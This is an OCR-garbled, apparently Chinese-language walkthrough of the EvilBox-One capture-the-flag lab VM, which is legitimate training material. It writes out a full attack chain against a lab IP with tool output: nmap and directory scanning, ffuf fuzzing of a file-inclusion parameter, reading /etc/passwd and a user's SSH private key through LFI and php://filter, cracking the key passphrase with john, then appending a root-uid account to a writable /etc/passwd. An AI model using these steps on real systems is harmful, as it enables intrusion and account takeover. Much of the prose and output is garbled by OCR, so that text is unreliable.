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[ Ubuntu [} EvilBox---One

Mowree
EwilBox - One

EwvilBoxOne login:

WX RBEENAREEFIREPHAE . FEHANRIEABIMNRRERF R, B #H RN R BREECN ens3301 7.

SHEHE

python3 ping.py -H 192.168.91.0/24

-.-] ~/myfiles/python_/scapy
python3 ping.py —-H 192.168.91.8/24

2822-83-64 12:35:23.6899766
Scaning. ..

[+] 192.168.91.193 is alive.
[*] ALl scans completed!

2022-03-64 12:35:33.120286
S HE: 0:00:10.8205880



https://www.ohhhhhh.top/2021/12/09/web%25E6%25B8%2597%25E9%2580%258F%25E2%2580%2594%25E2%2580%2594dawn/

o RRESE
nmap -sV -A -p- -T4 192.168.91.193 —oN nmap.txt

-] ~/myfiles/bj/1linux/evilbox
nmap -sV -A -p- -T4 192.168.91.193 --oN nmap.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-83-64 12:u48 CST
Nmap scan report for 192.168.91.193
Host is up (8.8812s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9pl Debian 18+deblPu2 (protocol 2.8)
| ssh—hostkey:
| 20U8 Uy:95:50:8b:el:73:a1:85:11:ca:10:ec:1c:cb:dd:26 (RSA)
| 256 27:db:6a:c7:3a:9c:5a:0e:U7:ba:8d:81l:eb:d6:d6:3c (ECDSA)
| 256 e3:07:56:a9:25:63:dU:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| _http-title: Apache2 Debian Default Page: It works
| _http-server-header: Apache/2.4.38 (Debian)
No exact US matches for host (It you Know what OS 1s running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
0S:SCAN(V=7.92%E=0U%D=3/U%0T=22%CT=1%CU=38350%PV=Y%DS=2%DC=T%G=Y%TM=622198U6
%P=x86_6U-pc-Llinux—-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI= I=Z%II=I%TS=A)OPS(
01=M5BUST11NWT7%02=M5BUST11NW SBUNNT11NWT% I3Bi-l‘-‘TllI'lTLr.I'J’ =M5B4ST11
NW7%06= I"I‘%BH‘»Tll)Ir.III‘I(Ir.Il FES8 5l 3= =FE88%W5 oo)ECI‘l(

HOYIPL=16U%UN=6%RIPL=G%RID=GRIPCK= G%RUCR DOUBYRUD= G)IE(R=Y%DFI=N%T=48%
:CD=5S)

EFTRIMT 22, 80FAN D
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File Options About Help

http://192.168.91.193:80/

@ Scan Information |Resu|t5 - List View: Dirs: 3 Files: 1“ Results - Tree \I’iew\& Errors: 0\

Type | Found | Response Size
Dir / 200 11322
Dir Jicons/ 403 449
Dir Jiconsfsmall/ 403 449
Dir [secret/ 200 233
File [secretfevil.php 200 147
Current speed: 1905 requests/sec {Select and right click for more options)
Average speed: (T) 1849, (C) 1891 requests/sec
Parse Queue Size: 0 Current number of running threads: 50
Total Requests: 2034441764387 | [Changel
Time To Finish: 00:13:45
B T | TN BT
Starting dirffile list based brute forcing J4-5.php
BNIILEE B
http://192.168.91.193/robots.txt
C A Tz | 192.168.91.193/robots.txt
Hello HdzOr
robots.txt T HEI#%2] T — name : H4x0r
http://192.168.91.193/secret/evil.php
& A F==| 192.168.91.193/secret/evil.php

mEFT7R: evil.php ZF A RAEM A BRI

B B


http://192.168.91.193/robots.txt
http://192.168.91.193/secret/evil.php

-r -u 'http://192.168.91.193/secret/evil.php?FUZZ=/etc/passwd’ -w /usr/share/seclists/Discovery/Web-Cont

ent/common.txt -fs ©

A root@ohh: ~ X A root@ohh: ~/myfiles/bj/linux/e

...} ~/myfiles/bj/linux/evilbox
ffuf -c -r -u http://192.168.91.193/secret/evil.php?FuUzz=/etc/passwd -w /usr/share/seclists/Discovery/Web-Content/co
mmon.txt —fs @

s e AR [,
AN f AN L T SRR AN
WA SN N A U R

AT R B e AT B R G T

L W 0 e, Vo, YUUL VNI, WA, VIR . W ¥
5 AN i it \/_/

vl.3.1 Kali Exclusive

Method : GET
:: URL : http://192.168.91.193/secret/evil.php?FUZZ=/etc/passud
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
Follow redirects : true
Calibration : false
:: Timeout : 18
:: Threads @ ue
Matcher : Response status: 200,204,3601,302,307,401,403,U4085
Filter : Response size: @

command [Status: Size: 1398, Words: 13, Lines: 27]

T
Progress: [47iL/4711] 7 Job [171i] @7 4i56 reqgs/sec :: Duration: [8:96795] :: Errors: @

...} ~/myfiles/bj/linux/evilbox

B A~ : FUZZ = command , XHBE &R, BAIEXKEIHRGIH—T:

http://192.168.91.193/secret/evil.php?command=/etc/passwd

root:x: 0:0:root: froot: Sbin/bash

daemon:x: 1:1:daemon: fusr/=bin: fusr/sbin/nologin

bin:x:2: 2:bin: Sbin: fusrSsbinfnologin

sys:x: 33 sve: fdev: fusrfsbin/mologin

syne:x: 4: 65534 syne: /bin: Sbin/ syne

games:x: 5: 60: games: fusr/games: fusr/sbin/nologin

man: x: 6: 12: man: fvar/cache/man: fusr/shinfnologin

1p:x:7:7:1p: fvar/spool/lpd: fusr/sbin/mologin

mail:x:8:8:mail: fvar/mail: fusr/sbin/mologin

news: x: 9 9:news: Svar/spool news: fusr/shin/nologin

wuep: x: 10: 10: uucp: fvar/spool/aucp: fusr/shinfmologin

proxy:x: 13:13: proxy: /bin: fusr/sbin/nologin

www—data:x: 33: 33 www-data: Sfvarfwn: fusr/sbin/nologin

backup:x: 34; 34: backup: /var/backups: fusr/sbin/nologin

list:x:38: 38:Mailing List Manager: /war/list: /usr/sbin/nelogin

ircox: 3939 ired: fvar/run/ired: fusr/sbin/nologin

gnatz:x: 41:41:Gnats Bug—Reporting System (admin):fvars/1libfgnats:/usr/sbin/nologin
nobody: x: 65534 65534 nobody: /fnonexistent: fusr/sbin/mologin

_apt:x:100: 65534 ; fnonexistent: fusr/sbin/nologin

systemd-timesynec:x:101:102: systend Time Synchronization,,.:/run/systemd: fusr/shbin/nologin
systemd-network: x: 102: 103: systemd Network Management. .. :/run/systemd: fusr/zbin/nologin
systemd-resolve: x: 103: 104: systemd Resolver,, . :frun/systend: fusr/sbin/nologin
messagebus:x: 104: 110: : /nonexistent: fusr/sbin/nologin

sshd:x: 105: 65534 ; /run/=zshd: fusr/sbin/nologzin

mowree:x: 1000: 1000: mowree, , , : /home/mowree: /bin/bash

systemd-coredump: x: 999 899: systemd Core Dumper:s: usrfsbin/mologin

W FrR: BT root 2 4MEH —NF F 4&: mowree B A /bin/bash .

R XA EIRFE, TR T include requereEi¥, ik — NIV GRBOCERE .



http://192.168.91.193/secret/evil.php?command=/etc/passwd

15 3baseb4:

PDOwaHAKICAgICRmaWx1bmFtZSA9ICRfROVUWYdjb21tYW5kJI107CiAgICBpbmNsdWR1KCRmalWx1bmFtZSk7Cj8+Cg==

$filename = $_GET['command'];
include($filename);

WERBEHET HA— include) B %, RIEFMMTIE. WERNTEZRBULETRANF A CH. 7280w D HE# AR
MIFEFF R T 22: ssh k%, HHERMIZRIZE—T mowree I P2 B FAER M E

— B ssh BR T 2FE=AM:

1. id_rsa: #A%H.
2. authorized_keys : INIESSH 73014,
3. id_rsa.pub : A%H.

c A F=Z== | view-source:192.1 68.91.193/secret/evil.php?command=/home/mowree/.sshfid rsa



http://192.168.91.193/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/id_rsa

http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/authorized _keys

WIERBFAAFER: AP2@ENA

ssh-rsa
AAAAB3INzaC1yc2EAAAADAQABAAABAQDAXIEIC22Bpqd40UDZEQXeuQabEVIPMWEBjB4Ud/knShgQ86gCUatKaNIMfdpzKaagEBtIVUYwit68VH5XHV/!
mowree@EvilBoxOne

v FE Lighthouse HackBar Adblock Plus

LOAD SPLIT EXECUTE TEST ~ sqLl - XSS ~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/authorized_keys

BRI B kali 24,

. -] ~/myfiles/bj/linux/evilbox
11
tutat &
-rW-r——r—— 1 root root 1743 Mar 4 13:17 id rsa
-ri—r--r—— 1 root root 1869 Mar 4 12:48 nmap.txt

. -] ~/myfiles/bj/linux/evilbox

LY
BZERATES] T A4 id_rsa WILUH FsshBhh, (BREZHM, FOABMRERD, HE—WA: shhjohn

https://github.com/aniello001/ssh2john


http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/authorized_keys
https://github.com/aniello001/ssh2john

python3 ssh2john.py /root/myfiles/bjllinux/evilbox/id_rsa > hash.txt

- ~/==h?inhn
python3 ssh2john.py /root/myfiles/bj/linux/evilbox/id_rsa > hash.txt

(...} ~/ssh2john
11
total 12
-rW-r——r—-— 1 root root 2456 Mar 4 13:28 hash.txt

mERTaR: T hash3CfFs

PLTE A FH john % f#
john —-wordlist=/usr/share/wordlists/rockyou.txt hash.txt

[-.-] ~/ssh2john

john —-wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [@=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

( )

1g 0:00:00:00 DONE (2022-83-64 13:38) 33.33g/s 41600p/s U416008c/s U41600C/s 753951..shirley
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

- < ~/ssh2john

B~ 537 %A9: unicorn M &,

R

ssh -i id_rsa mowree@192.168.91.193

-.-] ~/mvfiles/bi/linux/evilbox
ssh -i id_rsa mowree@192.168.91.193
The authenticity of host '192.168.91.193 (192.168.91.193)' can't be established.
ED25519 key fingerprint is SHA256 3tf1iiGyqLMEMUTZSWSIUhLBu7FeVaeaT2FxMT71iq8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.1 91.193' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux EvilBoxOne 4.19.0-17-amdéi #1 SMP Debian 4.19.194-3 (2021-87-18) x86_6U
$ id
uid=1008(mowree) gid=1000(mowree) grupos=1000(mowree),2u(cdrom),25(floppy),29(audio),30(dip),ud(video), d6(plugdev),109(n
etdev)

$ |

mEFR: BRI,

flag1



:~% pwd

/home /mowree

:~% 1s
user.txt

:~% cat user.txt
56Rbp@soobpzw5U2RhQYDyzGLgtPZQ

oy |

R
BUTEAR TN HRAL

HAEBERESH SUD &4, FE &I sudo -| T A
find / -perm -u=s -type f 2>/dev/null

:~$ find / -perm -u=s -type f 2>/dev/null
J/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt—get-device
/usr/1lib/dbus-1.8/dbus—-daemon-launch-helper
Jusr/bin/mount
/usr/bin/newgrp
/usr/bin/passud
/usr/bin/umount
fusr/bin/chfn
fusr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su

:~% sudo -1
-bash: sudo: orden no encontrada

e
B ]

MEFTR: RKIBHE A FARISUDICH . B 5347 A .

KU history BE Ji idgk, BAH. WERIBEAIT.

FEFENL BIBAT fsesh T —TF. BATRETRIEIF, REET.
Jise.sh -1 -i | more

HARP: can we write to critical files? (RAIGES R CHT? ) N FEH yes.

Other interesting files in home directories
Are there any credentials in fstab/mtab?
Does 'mowree' have mail?

Can we access other users mail?

Looking for GIT/SVN repositories

Can we write to critical files?

1 root root 1398 ago 16 2021 /etc/passwd

Can we write to critical directories?
Can we write to directories from PATH defined in /etec?

WERTR: TR RIS RISXHN fetclpasswd , XANSCHFRES, HBAFATAT LUEIT openssl 22X root IS . BiEHIN— /A
A root AR 7 .



FEIX B RGN — AN [E Trooti FH & toor, 251514 toor.

SHERURHIEL

https://www.ohhhhhh.top/2021/12/17 lwebi& i AFWEB1and2/

N4

openssl passwd -1 -salt toor

fERE -1 md5n%; -salt: hnk, EHFMFEL—F, WERTHPZ.

b openssl passwd -1 -salt toor

Password:
$1$toor$2SrtVeM1RHTA jOuUQLSC T/

-

I
o

R AR T INE R ED
R ¥ toorFliX BB INZE LRI R Jetc/passwd KB, R SrootH B 3.

echo ‘toor:1toor$2SrtVOM1RHrAj9uQL5C7w/:0:0::/root:/bin/bash’ >> Jetc/passwd

$
4 echo 'toor:$1$toor$2SrtVeOMIRHrAjouQL5CTw/:0:0::/root:/bin/bash' >> /etc/passwd
$ tail -n 3 /etc/passwd

mowree:x:1000:1000:mowree, , , : /home/mowree: /bin/bash

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
toor:$1$toor$2SrtVeOM1RHrAj9uQLS5C7w/:0:8: : /root: /bin/bash
= ¢ |

-+ |

WETR: BRIhE N2l /etc/passwd KE .

BEZ KU BIH P toor

$
% su toor
Contrasefia:

# id

uid=8(root) gid=8(root) grupos=8(root)
? #

wWE Fr~: sutoor, #HD toor/545 BTVl #E] T root, FH 44 H toor 24 T root.
ZERBUEE.

flag2


https://www.ohhhhhh.top/2021/12/17/web%25E6%25B8%2597%25E9%2580%258F%25E2%2580%2594%25E2%2580%2594AI-WEB1and2/

~# pwd
/root
:~# 1s -alh
total 24K
root root 4,0K ago
8 root root 4,6K ago
root root 9 ago 16 282 b history -= /dev/null
root root 5K ago 16 21 .b rc
K ago
8 ago 2815 .profile

3i

root root 4,0
root root 14
root root 31 ago 2021 root.txt

:~# cat root.txt

36QtXFfdIWvdCeVavlPIApUbD1qTsBM
R
b

bt

p=m |

& v
G

1. ffuf THBEAT BRI
FAARAR D o
openssl 4L,

Ise.sh #28 Kk LT -

5. ZATfd —i.

6. X FIXAMEHFEERERE ffuf TERMEH, EFEEIE id_rsa AR, UK openssl A RIF B HEL, UIERMHBT
B enumeration(lse.sh) BIfEH, XA TERAPIMZH REF KBURSCHE, W TRECERRKKTE.

w0 DN
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